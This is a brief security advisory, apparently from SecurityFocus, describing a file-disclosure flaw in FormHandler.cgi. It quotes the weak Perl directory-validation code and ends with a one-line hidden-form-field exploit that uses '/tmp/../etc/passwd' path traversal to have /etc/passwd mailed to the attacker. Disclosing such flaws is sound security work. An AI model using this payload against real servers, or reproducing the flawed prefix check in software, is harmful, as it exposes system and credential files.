source: https://www.securityfocus.com/bid/799/info

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document.

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
<INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd">